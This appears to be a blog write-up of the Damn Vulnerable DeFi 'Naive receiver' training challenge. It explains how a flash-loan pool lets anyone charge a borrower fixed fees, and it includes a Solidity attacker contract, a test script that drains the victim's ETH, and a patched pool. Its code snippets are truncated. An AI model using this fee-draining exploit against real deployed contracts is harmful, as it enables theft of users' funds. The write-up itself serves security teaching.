Damn Vulnerable DeFi - Naive receiver


There’s a lending pool offering quite expensive flash loans of Ether, which has 1000 ETH in balance.

You also see that a user has deployed a contract with 10 ETH in balance, capable of interacting with the lending pool and receiveing flash loans of ETH.

Drain all ETH funds from the user’s contract. Doing it in a single transaction is a big plus ;)


The problem with NaiveReceiverLenderPool is it doesn’t check that the caller and borrower are the same address. This means anyone can call flashLoan for the borrower and force them to pay the fixed fee!

The borrower has 10 ETH and the fee is 1 ETH. We can loop 10 times to perform 10 flash loans and drain the borrower’s funds

contract NaiveReceiverAttacker {
    function attack(NaiveReceiverLenderPool naiveReceiverLenderPool, address borrower) external {
        for (uint256 i = 0; i < 10; ++i) {
            // A flashLoan for 0 ETH still forces the borrower to pay the fixed fee!
            naiveReceiverLenderPool.flashLoan(borrower, 0);

And the Javascript code

it('Exploit', async function () {
    const naiveReceiverAttacker = await (await ethers.getContractFactory('NaiveReceiverAttacker', deployer)).deploy()
    await naiveReceiverAttacker.attack(this.pool.address, this.receiver.address)

Patched Contract

This one’s an easy fix. Just check that the borrower address matches msg.sender. An even better solution would be to remove the borrower parameter and always use msg.sender for the borrower, but we’ll go with the first option to preserve the interface.

contract NaiveReceiverLenderPoolV2 is ReentrancyGuard {

    using Address for address;

    uint256 private constant FIXED_FEE = 1 ether; // not the cheapest flash loan

    function fixedFee() external pure returns (uint256) {
        return FIXED_FEE;

    function flashLoan(address borrower, uint256 borrowAmount) external nonReentrant {
        require(borrower == msg.sender, "Borrower not sender");
        uint256 balanceBefore = address(this).balance;
        require(balanceBefore >= borrowAmount, "Not enough ETH in pool");

        require(borrower.isContract(), "Borrower must be a deployed contract");
        // Transfer ETH and handle control to receiver
            address(this).balance >= balanceBefore + FIXED_FEE,
            "Flash loan hasn't been paid back"

    // Allow deposits of ETH
    receive () external payable {}

You can verify yourself that the exploit no longer works with NaiveReceiverLenderPoolV2!

Written on June 8, 2022